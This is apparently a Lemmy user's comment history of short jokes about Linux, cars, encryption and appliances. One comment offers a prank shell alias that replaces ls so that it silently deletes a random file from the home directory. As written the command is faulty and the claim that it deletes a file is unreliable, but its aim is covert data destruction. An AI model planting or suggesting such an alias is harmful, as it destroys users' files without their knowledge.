[-] programmer_belch@lemmy.dbzer0.com 55 points 5 months ago

The irony detector is doing heavy lifting for me:

[-] programmer_belch@lemmy.dbzer0.com 39 points 7 months ago

Love my AC luxury seat smartphone

[-] programmer_belch@lemmy.dbzer0.com 282 points 7 months ago

The autopilot will turn off just before hitting them to make you liable anyway

It can just fetch the information one line at a time like a printing machine. I don't think the receipt machine has that much memory to hold everything

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

The highest honor is giving the program a keybind

Linux update: Changes little number in neofetch

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try

I paid for the whole pizza, I'm eating the whole pizza

This is the first lesson you have to learn as a Linux enthusiast, NEVER run commands you don't know from the internet

Software updates for what? New ways to wash your clothes? I only use like two or three settings in mine

I love my FLOSS penis

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